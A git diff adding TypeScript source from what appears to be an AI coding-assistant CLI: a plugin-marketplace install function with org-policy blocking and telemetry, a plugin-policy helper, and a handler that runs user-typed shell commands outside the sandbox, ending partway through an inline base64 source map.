+ * Parameters for installing a plugin from marketplace
+ */
+export type InstallPluginParams = {
+  pluginId: string
+  entry: PluginMarketplaceEntry
+  marketplaceName: string
+  scope?: 'user' | 'project' | 'local'
+  trigger?: 'hint' | 'user'
+}
+
+/**
+ * Install a single plugin from a marketplace with the specified scope.
+ * Interactive-UI wrapper around `installResolvedPlugin` — adds try/catch,
+ * analytics, and UI-style message formatting.
+ */
+export async function installPluginFromMarketplace({
+  pluginId,
+  entry,
+  marketplaceName,
+  scope = 'user',
+  trigger = 'user',
+}: InstallPluginParams): Promise<InstallPluginResult> {
+  try {
+    // Look up the marketplace install location for local-source plugins.
+    // Without this, plugins with relative-path sources fail from the
+    // interactive UI path (/plugin install) even though the CLI path works.
+    const pluginInfo = await getPluginById(pluginId)
+    const marketplaceInstallLocation = pluginInfo?.marketplaceInstallLocation
+
+    const result = await installResolvedPlugin({
+      pluginId,
+      entry,
+      scope,
+      marketplaceInstallLocation,
+    })
+
+    if (!result.ok) {
+      switch (result.reason) {
+        case 'local-source-no-location':
+          return {
+            success: false,
+            error: `Cannot install local plugin "${result.pluginName}" without marketplace install location`,
+          }
+        case 'settings-write-failed':
+          return {
+            success: false,
+            error: `Failed to update settings: ${result.message}`,
+          }
+        case 'resolution-failed':
+          return {
+            success: false,
+            error: formatResolutionError(result.resolution),
+          }
+        case 'blocked-by-policy':
+          return {
+            success: false,
+            error: `Plugin "${result.pluginName}" is blocked by your organization's policy and cannot be installed`,
+          }
+        case 'dependency-blocked-by-policy':
+          return {
+            success: false,
+            error: `Cannot install "${result.pluginName}": dependency "${result.blockedDependency}" is blocked by your organization's policy`,
+          }
+      }
+    }
+
+    // _PROTO_* routes to PII-tagged plugin_name/marketplace_name BQ columns.
+    // plugin_id kept in additional_metadata (redacted to 'third-party' for
+    // non-official) because dbt external_claude_code_plugin_installs.sql
+    // extracts $.plugin_id for official-marketplace install tracking. Other
+    // plugin lifecycle events drop the blob key — no downstream consumers.
+    logEvent('tengu_plugin_installed', {
+      _PROTO_plugin_name:
+        entry.name as AnalyticsMetadata_I_VERIFIED_THIS_IS_PII_TAGGED,
+      _PROTO_marketplace_name:
+        marketplaceName as AnalyticsMetadata_I_VERIFIED_THIS_IS_PII_TAGGED,
+      plugin_id: (isOfficialMarketplaceName(marketplaceName)
+        ? pluginId
+        : 'third-party') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      trigger:
+        trigger as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      install_source: (trigger === 'hint'
+        ? 'ui-suggestion'
+        : 'ui-discover') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      ...buildPluginTelemetryFields(
+        entry.name,
+        marketplaceName,
+        getManagedPluginNames(),
+      ),
+      ...(entry.version && {
+        version:
+          entry.version as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+    })
+
+    return {
+      success: true,
+      message: `✓ Installed ${entry.name}${result.depNote}. Run /reload-plugins to activate.`,
+    }
+  } catch (err) {
+    const errorMessage = err instanceof Error ? err.message : String(err)
+    logError(toError(err))
+    return { success: false, error: `Failed to install: ${errorMessage}` }
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/plugins/pluginPolicy.ts b/_all-in-one-upload/cc-haha/src/utils/plugins/pluginPolicy.ts
new file mode 100644
index 0000000..bd808ec
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/plugins/pluginPolicy.ts
@@ -0,0 +1,20 @@
+/**
+ * Plugin policy checks backed by managed settings (policySettings).
+ *
+ * Kept as a leaf module (only imports settings) to avoid circular dependencies
+ * — marketplaceHelpers.ts imports marketplaceManager.ts which transitively
+ * reaches most of the plugin subsystem.
+ */
+
+import { getSettingsForSource } from '../settings/settings.js'
+
+/**
+ * Check if a plugin is force-disabled by org policy (managed-settings.json).
+ * Policy-blocked plugins cannot be installed or enabled by the user at any
+ * scope. Used as the single source of truth for policy blocking across the
+ * install chokepoint, enable op, and UI filters.
+ */
+export function isPluginBlockedByPolicy(pluginId: string): boolean {
+  const policyEnabled = getSettingsForSource('policySettings')?.enabledPlugins
+  return policyEnabled?.[pluginId] === false
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/processUserInput/processBashCommand.tsx b/_all-in-one-upload/cc-haha/src/utils/processUserInput/processBashCommand.tsx
new file mode 100644
index 0000000..8ab9585
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/processUserInput/processBashCommand.tsx
@@ -0,0 +1,140 @@
+import type { ContentBlockParam } from '@anthropic-ai/sdk/resources';
+import { randomUUID } from 'crypto';
+import * as React from 'react';
+import { BashModeProgress } from 'src/components/BashModeProgress.js';
+import type { SetToolJSXFn } from 'src/Tool.js';
+import { BashTool } from 'src/tools/BashTool/BashTool.js';
+import type { AttachmentMessage, SystemMessage, UserMessage } from 'src/types/message.js';
+import type { ShellProgress } from 'src/types/tools.js';
+import { logEvent } from '../../services/analytics/index.js';
+import { errorMessage, ShellError } from '../errors.js';
+import { createSyntheticUserCaveatMessage, createUserInterruptionMessage, createUserMessage, prepareUserContent } from '../messages.js';
+import { resolveDefaultShell } from '../shell/resolveDefaultShell.js';
+import { isPowerShellToolEnabled } from '../shell/shellToolUtils.js';
+import { processToolResultBlock } from '../toolResultStorage.js';
+import { escapeXml } from '../xml.js';
+import type { ProcessUserInputContext } from './processUserInput.js';
+export async function processBashCommand(inputString: string, precedingInputBlocks: ContentBlockParam[], attachmentMessages: AttachmentMessage[], context: ProcessUserInputContext, setToolJSX: SetToolJSXFn): Promise<{
+  messages: (UserMessage | AttachmentMessage | SystemMessage)[];
+  shouldQuery: boolean;
+}> {
+  // Shell routing (docs/design/ps-shell-selection.md §5.2): consult
+  // defaultShell, fall back to bash. isPowerShellToolEnabled() applies the
+  // same platform + env-var gate as tools.ts so input-box routing matches
+  // tool-list visibility. Computed up front so telemetry records the
+  // actual shell, not the raw setting.
+  const usePowerShell = isPowerShellToolEnabled() && resolveDefaultShell() === 'powershell';
+  logEvent('tengu_input_bash', {
+    powershell: usePowerShell
+  });
+  const userMessage = createUserMessage({
+    content: prepareUserContent({
+      inputString: `<bash-input>${inputString}</bash-input>`,
+      precedingInputBlocks
+    })
+  });
+
+  // ctrl+b to background indicator
+  let jsx: React.ReactNode;
+
+  // Just show initial UI
+  setToolJSX({
+    jsx: <BashModeProgress input={inputString} progress={null} verbose={context.options.verbose} />,
+    shouldHidePromptInput: false
+  });
+  try {
+    const bashModeContext: ProcessUserInputContext = {
+      ...context,
+      // TODO: Clean up this hack
+      setToolJSX: _ => {
+        jsx = _?.jsx;
+      }
+    };
+
+    // Progress UI — shared across both shell backends (both emit ShellProgress)
+    const onProgress = (progress: {
+      data: ShellProgress;
+    }) => {
+      setToolJSX({
+        jsx: <>
+            <BashModeProgress input={inputString!} progress={progress.data} verbose={context.options.verbose} />
+            {jsx}
+          </>,
+        shouldHidePromptInput: false,
+        showSpinner: false
+      });
+    };
+
+    // User-initiated `!` commands run outside sandbox. Both shell tools honor
+    // dangerouslyDisableSandbox (checked against areUnsandboxedCommandsAllowed()
+    // in shouldUseSandbox.ts). PS sandbox is Linux/macOS/WSL2 only — on Windows
+    // native, shouldUseSandbox() returns false regardless (unsupported platform).
+    // Lazy-require PowerShellTool so its ~300KB chunk only loads when the
+    // user has actually selected the powershell default shell.
+    type PSMod = typeof import('src/tools/PowerShellTool/PowerShellTool.js');
+    let PowerShellTool: PSMod['PowerShellTool'] | null = null;
+    if (usePowerShell) {
+      /* eslint-disable @typescript-eslint/no-require-imports */
+      PowerShellTool = (require('src/tools/PowerShellTool/PowerShellTool.js') as PSMod).PowerShellTool;
+      /* eslint-enable @typescript-eslint/no-require-imports */
+    }
+    const shellTool = PowerShellTool ?? BashTool;
+    const response = PowerShellTool ? await PowerShellTool.call({
+      command: inputString,
+      dangerouslyDisableSandbox: true
+    }, bashModeContext, undefined, undefined, onProgress) : await BashTool.call({
+      command: inputString,
+      dangerouslyDisableSandbox: true
+    }, bashModeContext, undefined, undefined, onProgress);
+    const data = response.data;
+    if (!data) {
+      throw new Error('No result received from shell command');
+    }
+    const stderr = data.stderr;
+    // Reuse the same formatting pipeline as inline !`cmd` bash (promptShellExecution)
+    // and model-initiated Bash. When BashTool.call() persists large output to disk,
+    // data.persistedOutputPath is set and the formatter wraps in <persisted-output>.
+    // Pass stderr:'' to keep it separate for the <bash-stderr> UI tag.
+    const mapped = await processToolResultBlock(shellTool, {
+      ...data,
+      stderr: ''
+    }, randomUUID());
+    // mapped.content may contain our own <persisted-output> wrapper (trusted
+    // XML from buildLargeToolResultMessage). Escaping it would turn structural
+    // tags into &lt;persisted-output&gt;, breaking the model's parse and
+    // UserBashOutputMessage's extractTag. Escape the raw fallback only.
+    const stdout = typeof mapped.content === 'string' ? mapped.content : escapeXml(data.stdout);
+    return {
+      messages: [createSyntheticUserCaveatMessage(), userMessage, ...attachmentMessages, createUserMessage({
+        content: `<bash-stdout>${stdout}</bash-stdout><bash-stderr>${escapeXml(stderr)}</bash-stderr>`
+      })],
+      shouldQuery: false
+    };
+  } catch (e) {
+    if (e instanceof ShellError) {
+      if (e.interrupted) {
+        return {
+          messages: [createSyntheticUserCaveatMessage(), userMessage, createUserInterruptionMessage({
+            toolUse: false
+          }), ...attachmentMessages],
+          shouldQuery: false
+        };
+      }
+      return {
+        messages: [createSyntheticUserCaveatMessage(), userMessage, ...attachmentMessages, createUserMessage({
+          content: `<bash-stdout>${escapeXml(e.stdout)}</bash-stdout><bash-stderr>${escapeXml(e.stderr)}</bash-stderr>`
+        })],
+        shouldQuery: false
+      };
+    }
+    return {
+      messages: [createSyntheticUserCaveatMessage(), userMessage, ...attachmentMessages, createUserMessage({
+        content: `<bash-stderr>Command failed: ${escapeXml(errorMessage(e))}</bash-stderr>`
+      })],
+      shouldQuery: false
+    };
+  } finally {
+    setToolJSX(null);
+  }
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJDb250ZW50QmxvY2tQYXJhbSIsInJhbmRvbVVVSUQiLCJSZWFjdCIsIkJhc2hNb2RlUHJvZ3Jlc3MiLCJTZXRUb29sSlNYRm4iLCJCYXNoVG9vbCIsIkF0dGFjaG1lbnRNZXNzYWdlIiwiU3lzdGVtTWVzc2FnZSIsIlVzZXJNZXNzYWdlIiwiU2hlbGxQcm9ncmVzcyIsImxvZ0V2ZW50IiwiZXJyb3JNZXNzYWdlIiwiU2hlbGxFcnJvciIsImNyZWF0ZVN5bnRoZXRpY1VzZXJDYXZlYXRNZXNzYWdlIiwiY3JlYXRlVXNlckludGVycnVwdGlvbk1lc3NhZ2UiLCJjcmVhdGVVc2VyTWVzc2FnZSIsInByZXBhcmVVc2VyQ29udGVudCIsInJlc29sdmVEZWZhdWx0U2hlbGwiLCJpc1Bvd2VyU2hlbGxUb29sRW5hYmxlZCIsInByb2Nlc3NUb29sUmVzdWx0QmxvY2siLCJlc2NhcGVYbWwiLCJQcm9jZXNzVXNlcklucHV0Q29udGV4dCIsInByb2Nlc3NCYXNoQ29tbWFuZCIsImlucHV0U3RyaW5nIiwicHJlY2VkaW5nSW5wdXRCbG9ja3MiLCJhdHRhY2htZW50TWVzc2FnZXMiLCJjb250ZXh0Iiwic2V0VG9vbEpTWCIsIlByb21pc2UiLCJtZXNzYWdlcyIsInNob3VsZFF1ZXJ5IiwidXNlUG93ZXJTaGVsbCIsInBvd2Vyc2hlbGwiLCJ1c2VyTWVzc2FnZSIsImNvbnRlbnQiLCJqc3giLCJSZWFjdE5vZGUiLCJvcHRpb25zIiwidmVyYm9zZSIsInNob3VsZEhpZGVQcm9tcHRJbnB1dCIsImJhc2hNb2RlQ29udGV4dCIsIl8iLCJvblByb2dyZXNzIiwicHJvZ3Jlc3MiLCJkYXRhIiwic2hvd1NwaW5uZXIiLCJQU01vZCIsIlBvd2VyU2hlbGxUb29sIiwicmVxdWlyZSIsInNoZWxsVG9vbCIsInJlc3BvbnNlIiwiY2FsbCIsImNvbW1hbmQiLCJkYW5nZXJvdXNseURpc2FibGVTYW5kYm94IiwidW5kZWZpbmVkIiwiRXJyb3IiLCJzdGRlcnIiLCJtYXBwZWQiLCJzdGRvdXQiLCJlIiwiaW50ZXJydXB0ZWQiLCJ0b29sVXNlIl0sInNvdXJjZXMiOlsicHJvY2Vzc0Jhc2hDb21tYW5kLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgdHlwZSB7IENvbnRlbnRCbG9ja1BhcmFtIH0gZnJvbSAnQGFudGhyb3BpYy1haS9zZGsvcmVzb3VyY2VzJ1xuaW1wb3J0IHsgcmFuZG9tVVVJRCB9IGZyb20gJ2NyeXB0bydcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQmFzaE1vZGVQcm9ncmVzcyB9IGZyb20gJ3NyYy9jb21wb25lbnRzL0Jhc2hNb2RlUHJvZ3Jlc3MuanMnXG5pbXBvcnQgdHlwZSB7IFNldFRvb2xKU1hGbiB9IGZyb20gJ3NyYy9Ub29sLmpzJ1xuaW1wb3J0IHsgQmFzaFRvb2wgfSBmcm9tICdzcmMvdG9vbHMvQmFzaFRvb2wvQmFzaFRvb2wuanMnXG5pbXBvcnQgdHlwZSB7XG4gIEF0dGFjaG1lbnRNZXNzYWdlLFxuICBTeXN0ZW1NZXNzYWdlLFxuICBVc2VyTWVzc2FnZSxcbn0gZnJvbSAnc3JjL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFNoZWxsUHJvZ3Jlc3MgfSBmcm9tICdzcmMvdHlwZXMvdG9vbHMuanMnXG5pbXBvcnQgeyBsb2dFdmVudCB9IGZyb20gJy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7IGVycm9yTWVzc2FnZSwgU2hlbGxFcnJvciB9IGZyb20gJy4uL2Vycm9ycy5qcydcbmltcG9ydCB7XG4gIGNyZWF0ZVN5bnRoZXRpY1VzZXJDYXZlYXRNZXNzYWdlLFxuICBjcmVhdGVVc2VySW50ZXJydXB0aW9uTWVzc2FnZSxcbiAgY3JlYXRlVXNlck1lc3NhZ2UsXG4gIHByZXBhcmVVc2VyQ29udGVudCxcbn0gZnJvbSAnLi4vbWVzc2FnZXMuanMnXG5pbXBvcnQgeyByZXNvbHZlRGVmYXVsdFNoZWxsIH0gZnJvbSAnLi4vc2hlbGwvcmVzb2x2ZURlZmF1bHRTaGVsbC5qcydcbmltcG9ydCB7IGlzUG93ZXJTaGVsbFRvb2xFbmFibGVkIH0gZnJvbSAnLi4vc2hlbGwvc2hlbGxUb29sVXRpbHMuanMnXG5pbXBvcnQgeyBwcm9jZXNzVG9vbFJlc3VsdEJsb2NrIH0gZnJvbSAnLi4vdG9vbFJlc3VsdFN0b3JhZ2UuanMnXG5pbXBvcnQgeyBlc2NhcGVYbWwgfSBmcm9tICcuLi94bWwuanMnXG5pbXBvcnQgdHlwZSB7IFByb2Nlc3NVc2VySW5wdXRDb250ZXh0IH0gZnJvbSAnLi9wcm9jZXNzVXNlcklucHV0LmpzJ1xuXG5leHBvcnQgYXN5bmMgZnVuY3Rpb24gcHJvY2Vzc0Jhc2hDb21tYW5kKFxuICBpbnB1dFN0cmluZzogc3RyaW5nLFxuICBwcmVjZWRpbmdJbnB1dEJsb2NrczogQ29udGVudEJsb2NrUGFyYW1bXSxcbiAgYXR0YWNobWVudE1lc3NhZ2VzOiBBdHRhY2htZW50TWVzc2FnZVtdLFxuICBjb250ZXh0OiBQcm9jZXNzVXNlcklucHV0Q29udGV4dCxcbiAgc2V0VG9vbEpTWDogU2V0VG9vbEpTWEZuLFxuKTogUHJvbWlzZTx7XG4gIG1lc3NhZ2VzOiAoVXNlck1lc3NhZ2UgfCBBdHRhY2htZW50TWVzc2FnZSB8IFN5c3RlbU1lc3NhZ2UpW11cbiAgc2hvdWxkUXVlcnk6IGJvb2xlYW5cbn0+IHtcbiAgLy8gU2hlbGwgcm91dGluZyAoZG9jcy9kZXNpZ24vcHMtc2hlbGwtc2VsZWN0aW9uLm1kIMKnNS4yKTogY29uc3VsdFxuICAvLyBkZWZhdWx0U2hlbGwsIGZhbGwgYmFjayB0byBiYXNoLiBpc1Bvd2VyU2hlbGxUb29sRW5hYmxlZCgpIGFwcGxpZXMgdGhlXG4gIC8vIHNhbWUgcGxhdGZvcm0gKyBlbnYtdmFyIGdhdGUgYXMgdG9vbHMudHMgc28gaW5wdXQtYm94IHJvdXRpbmcgbWF0Y2hlc1xuICAvLyB0b29sLWxpc3QgdmlzaWJpbGl0eS4gQ29tcHV0ZWQgdXAgZnJvbnQgc28gdGVsZW1ldHJ5IHJlY29yZHMgdGhlXG4gIC8vIGFjdHVhbCBzaGVsbCwgbm90IHRoZSByYXcgc2V0dGluZy5cbiAgY29uc3QgdXNlUG93ZXJTaGVsbCA9XG4gICAgaXNQb3dlclNoZWxsVG9vbEVuYWJsZWQoKSAmJiByZXNvbHZlRGVmYXVsdFNoZWxsKCkgPT09ICdwb3dlcnNoZWxsJ1xuXG4gIGxvZ0V2ZW50KCd0ZW5ndV9pbnB1dF9iYXNoJywgeyBwb3dlcnNoZWxsOiB1c2VQb3dlclNoZWxsIH0pXG5cbiAgY29uc3QgdXNlck1lc3NhZ2UgPSBjcmVhdGVVc2VyTWVzc2FnZSh7XG4gICAgY29udGVudDogcHJlcGFyZVVzZXJDb250ZW50KHtcbiAgICAgIGlucHV0U3RyaW5nOiBgPGJhc2gtaW5wdXQ+JHtpbnB1dFN0cmluZ308L2Jhc2gtaW5wdXQ+YCxcbiAgICAgIHByZWNlZGluZ0lucHV0QmxvY2tzLFxuICAgIH0pLFxuICB9KVxuXG4gIC8vIGN0cmwrYiB0byBiYWNrZ3JvdW5kIGluZGljYXRvclxuICBsZXQganN4OiBSZWFjdC5SZWFjdE5vZGVcblxuICAvLyBKdXN0IHNob3cgaW5pdGlhbCBVSVxuICBzZXRUb29sSlNYKHtcbiAgICBqc3g6IChcbiAgICAgIDxCYXNoTW9kZVByb2dyZXNzXG4gICAgICAgIGlucHV0PXtpbnB1dFN0cmluZ31cbiAgICAgICAgcHJvZ3Jlc3M9e251bGx9XG4gICAgICAgIHZlcmJvc2U9e2NvbnRleHQub3B0aW9ucy52ZXJib3NlfVxuICAgICAgLz5cbiAgICApLFxuICAgIHNob3VsZEhpZGVQcm9tcHRJbnB1dDogZmFsc2UsXG4gIH0pXG5cbiAgdHJ5IHtcbiAgICBjb25zdCBiYXNoTW9kZUNvbnRleHQ6IFByb2Nlc3NVc2VySW5wdXRDb250ZXh0ID0ge1xuICAgICAgLi4uY29udGV4dCxcbiAgICAgIC8vIFRPRE86IENsZWFuIHVwIHRoaXMgaGFja1xuICAgICAgc2V0VG9vbEpTWDogXyA9PiB7XG4gICAgICAgIGpzeCA9IF8/LmpzeFxuICAgICAgfSxcbiAgICB9XG5cbiAgICAvLyBQcm9ncmVzcyBVSSDigJQgc2hhcmVkIGFjcm9zcyBib3RoIHNoZWxsIGJhY2tlbmRzIChib3RoIGVtaXQgU2hlbGxQcm9ncmVzcylcbiAgICBjb25zdCBvblByb2dyZXNzID0gKHByb2dyZXNzOiB7IGRhdGE6IFNoZWxsUHJvZ3Jlc3MgfSkgPT4ge1xuICAgICAgc2V0VG9vbEpTWCh7XG4gICAgICAgIGpzeDogKFxuICAgICAgICAgIDw+XG4gICAgICAgICAgICA8QmFzaE1vZGVQcm9ncmVzc1xuICAgICAgICAgICAgICBpbnB1dD17aW5wdXRTdHJpbmchfVxuICAgICAgICAgICAgICBwcm9ncmVzcz17cHJvZ3Jlc3MuZGF0YX1cbiAgICAgICAgICAgICAgdmVyYm9zZT17Y29udGV4dC5vcHRpb25zLnZlcmJvc2V9XG4gICAgICAgICAgICAvPlxuICAgICAgICAgICAge2pzeH1cbiAgICAgICAgICA8Lz5cbiAgICAgICAgKSxcbiAgICAgICAgc2hvdWxkSGlkZVByb21wdElucHV0OiBmYWxzZSxcbiAgICAgICAgc2hvd1NwaW5uZXI6IGZhbHNlLFxuICAgICAgfSlcbiAgICB9XG5cbiAgICAvLyBVc2VyLWluaXRpYXRlZCBgIWAgY29tbWFuZHMgcnVuIG91dHNpZGUgc2FuZGJveC4gQm90aCBzaGVsbCB0b29scyBob25vclxuICAgIC8vIGRhbmdlcm91c2x5RGlzYWJsZVNhbmRib3ggKGNoZWNrZWQgYWdhaW5zdCBhcmVVbnNhbmRib3hlZENvbW1hbmRzQWxsb3dlZCgpXG4gICAgLy8gaW4gc2hvdWxkVXNlU2FuZGJveC50cykuIFBTIHNhbmRib3ggaXMgTGludXgvbWFjT1MvV1NMMiBvbmx5IOKAlCBvbiBXaW5kb3dzXG4gICAgLy8gbmF0aXZlLCBzaG91bGRVc2VTYW5kYm94KCkgcmV0dXJucyBmYWxzZSByZWdhcmRsZXNzICh1bnN1cHBvcnRlZCBwbGF0Zm9ybSkuXG4gICAgLy8gTGF6eS1yZXF1aXJlIFBvd2VyU2hlbGxUb29sIHNvIGl0cyB+MzAwS0IgY2h1bmsgb25seSBsb2FkcyB3aGVuIHRoZVxuICAgIC8vIHVzZXIgaGFzIGFjdHVhbGx5IHNlbGVjdGVkIHRoZSBwb3dlcnNoZWxsIGRlZmF1bHQgc2hlbGwuXG4gICAgdHlwZSBQU01vZCA9IHR5cGVvZiBpbXBvcnQoJ3NyYy90b29scy9Qb3dlclNoZWxsVG9vbC9Qb3dlclNoZWxsVG9vbC5qcycpXG4gICAgbGV0IFBvd2VyU2hlbGxUb29sOiBQU01vZFsnUG93ZXJTaGVsbFRvb2wnXSB8IG51bGwgPSBudWxsXG4gICAgaWYgKHVzZVBvd2VyU2hlbGwpIHtcbiAgICAgIC8qIGVzbGludC1kaXNhYmxlIEB0eXBlc2NyaXB0LWVzbGludC9uby1yZXF1aXJlLWltcG9ydHMgKi9cbiAgICAgIFBvd2VyU2hlbGxUb29sID0gKFxuICAgICAgICByZXF1aXJlKCdzcmMvdG9vbHMvUG93ZXJTaGVsbFRvb2wvUG93ZXJTaGVsbFRvb2wuanMnKSBhcyBQU01vZFxuICAgICAgKS5Qb3dlclNoZWxsVG9vbFxuICAgICAgLyogZXNsaW50LWVuYWJsZSBAdHlwZXNjcmlwdC1lc2xpbnQvbm8tcmVxdWlyZS1pbXBvcnRzICovXG4gICAgfVxuICAgIGNvbnN0IHNoZWxsVG9vbCA9IFBvd2VyU2hlbGxUb29sID8/IEJhc2hUb29sXG5cbiAgICBjb25zdCByZXNwb25zZSA9IFBvd2VyU2hlbGxUb29sXG4gICAgICA/IGF3YWl0IFBvd2VyU2hlbGxUb29sLmNhbGwoXG4gICAgICAgICAgeyBjb21tYW5kOiBpbnB1dFN0cmluZywgZGFuZ2Vyb3VzbHlEaXNhYmxlU2FuZGJveDogdHJ1ZSB9LFxuICAgICAgICAgIGJhc2hNb2RlQ29udGV4dCxcbiAgICAgICAgICB1bmRlZmluZWQsXG4gICAgICAgICAgdW5kZWZpbmVkLFxuICAgICAgICAgIG9uUHJvZ3Jlc3MsXG4gICAgICAgIClcbiAgICAgIDogYXdhaXQgQmFzaFRvb2wuY2FsbChcbiAgICAgICAgICB7XG4gICAgICAgICAgICBjb21tYW5kOiBpbnB1dFN0cmluZyxcbiAgICAgICAgICAgIGRhbmdlcm91c2x5RGlzYWJsZVNhbmRib3g6IHRydWUsXG4gICAgICAgICAgfSxcbiAgICAgICAgICBiYXNoTW9kZUNvbnRleHQsXG4gICAgICAgICAgdW5kZWZpbmVkLFxuICAgICAgICAgIHVuZGVmaW5lZCxcbiAgICAgICAgICBvblByb2dyZXNzLFxuICAgICAgICApXG4gICAgY29uc3QgZGF0YSA9IHJlc3BvbnNlLmRhdGFcblxuICAgIGlmICghZGF0YSkge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdObyByZXN1bHQgcmVjZWl2ZWQgZnJvbSBzaGVsbCBjb21tYW5kJylcbiAgICB9XG5cbiAgICBjb25zdCBzdGRlcnIgPSBkYXRhLnN0ZGVyclxuICAgIC8vIFJldXNlIHRoZSBzYW1lIGZvcm1hdHRpbmcgcGlwZWxpbmUgYXMgaW5saW5lICFgY21kYCBiYXNoIChwcm9tcHRTaGVsbEV4ZWN1dGlvbilcbiAgICAvLyBhbmQgbW9kZWwtaW5pdGlhdGVkIEJhc2guIFdoZW4gQmFzaFRvb2wuY2FsbCgpIHBlcnNpc3RzIGxhcmdlIG91dHB1dCB0byBkaXNrLFxuICAgIC8vIGRhdGEucGVyc2lzdGVkT3V0cHV0UGF0aCBpcyBzZXQgYW5kIHRoZSBmb3JtYXR0ZXIgd3JhcHMgaW4gPHBlcnNpc3RlZC1vdXRwdXQ+LlxuICAgIC8vIFBhc3Mgc3RkZXJyOicnIHRvIGtlZXAgaXQgc2VwYXJhdGUgZm9yIHRoZSA8YmFzaC1zdGRlcnI+IFVJIHRhZy5cbiAgICBjb25zdCBtYXBwZWQgPSBhd2FpdCBwcm9jZXNzVG9vbFJlc3VsdEJsb2NrKFxuICAgICAgc2hlbGxUb29sLFxuICAgICAgeyAuLi5kYXRhLCBzdGRlcnI6ICcnIH0sXG4gICAgICByYW5kb21VVUlEKCksXG4gICAgKVxuICAgIC8vIG1hcHBlZC5jb250ZW50IG1heSBjb250YWluIG91ciBvd24gPHBlcnNpc3RlZC1vdXRwdXQ+IHdyYXBwZXIgKHRydXN0ZWRcbiAgICAvLyBYTUwgZnJvbSBidWlsZExhcmdlVG9vbFJlc3VsdE1lc3NhZ2UpLiBFc2NhcGluZyBpdCB3b3VsZCB0dXJuIHN0cnVjdHVyYWxcbiAgICAvLyB0YWdzIGludG8gJmx0O3BlcnNpc3RlZC1vdXRwdXQmZ3Q7LCBicmVha2luZyB0aGUgbW9kZWwncyBwYXJzZSBhbmRcbiAgICAvLyBVc2VyQmFzaE91dHB1dE1lc3NhZ2UncyBleHRyYWN0VGFnLiBFc2NhcGUgdGhlIHJhdyBmYWxsYmFjayBvbmx5LlxuICAgIGNvbnN0IHN0ZG91dCA9XG4gICAgICB0eXBlb2YgbWFwcGVkLmNvbnRlbnQgPT09ICdzdHJpbmcnXG4gICAgICAgID8gbWFwcGVkLmNvbnRlbnRcbiAgICAgICAgOiBlc2NhcGVYbWwoZGF0YS5zdGRvdXQpXG4gICAgcmV0dXJuIHtcbiAgICAgIG1lc3NhZ2VzOiBbXG4gICAgICAgIGNyZWF0ZVN5bnRoZXRpY1VzZXJDYXZlYXRNZXNzYWdlKCksXG4gICAgICAgIHVzZXJNZXNzYWdlLFxuICAgICAgICAuLi5hdHRhY2htZW50TWVzc2FnZXMsXG4gICAgICAgIGNyZWF0ZVVzZXJNZXNzYWdlKHtcbiAgICAgICAgICBjb250ZW50OiBgPGJhc2gtc3Rkb3V0PiR7c3Rkb3V0fTwvYmFzaC1zdGRvdXQ+PGJhc2gtc3RkZXJyPiR7ZXNjYXBlWG1sKHN0ZGVycil9PC9iYXNoLXN0ZGVycj5gLFxuICAgICAgICB9KSxcbiAgICAgIF0sXG4gICAgICBzaG91bGRRdWVyeTogZmFsc2UsXG4gICAgfVxuICB9IGNhdGNoIChlKSB7XG4gICAgaWYgKGUgaW5zdGFuY2VvZiBTaGVsbEVycm9yKSB7XG4gICAgICBpZiAoZS5pbnRlcnJ1cHRlZCkge1xuICAgICAgICByZXR1cm4ge1xuICAgICAgICAgIG1lc3NhZ2VzOiBbXG4gICAgICAgICAgICBjcmVhdGVTeW50aGV0aWNVc2VyQ2F2ZWF0TWVzc2FnZSgpLFxuICAgICAgICAgICAgdXNlck1lc3NhZ2UsXG4gICAgICAgICAgICBjcmVhdGVVc2VySW50ZXJydXB0aW9uTWVzc2FnZSh7IHRvb2xVc2U6IGZhbHNlIH0pLFxuICAgICAgICAgICAgLi4uYXR0YWNobWVudE1lc3NhZ2VzLFxuICAgICAgICAgIF0sXG4gICAgICAgICAgc2hvdWxkUXVlcnk6IGZhbHNlLFxuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4ge1xuICAgICAgICBtZXNzYWdlczogW1xuICAgICAgICAgIGNyZWF0ZVN5bnRoZXRpY1VzZXJDYXZlYXRNZXNzYWdlKCksXG4gICAgICAgICAgdXNlck1lc3NhZ2UsXG4gICAgICAgICAgLi4uYXR0YWNobWVudE1lc3NhZ2VzLFxuICAgICAgICAgIGNyZWF0ZVVzZXJNZXNzYWdlKHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IGA8YmFzaC1zdGRvdXQ+JHtlc2NhcGVYbWwoZS5zdGRvdXQpfTwvYmFzaC1zdGRvdXQ+PGJhc2gtc3RkZXJyPiR7ZXNjYXBlWG1sKGUuc3RkZXJyKX08L2Jhc2gtc3RkZXJyPmAsXG4gICAgICAgICAgfSksXG4gICAgICAgIF0sXG4gICAgICAgIHNob3VsZFF1ZXJ5OiBmYWxzZSxcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIHtcbiAgICAgIG1lc3NhZ2VzOiBbXG4gICAgICAgIGNyZWF0ZVN5bnRoZXRpY1VzZXJDYXZlYXRNZXNzYWdlKCksXG4gICAgICAgIHVzZXJNZXNzYWdlLFxuICAgICAgICAuLi5hdHRhY2htZW50TWVzc2FnZXMsXG4gICAgICAgIGNyZWF0ZVVzZXJNZXNzYWdlKHtcbiAgICAgICAgICBjb250ZW50OiBgPGJhc2gtc3RkZXJyPkNvbW1hbmQgZmFpbGVkOiAke2VzY2FwZVhtbChlcnJvck1lc3NhZ2UoZSkpfTwvYmFzaC1z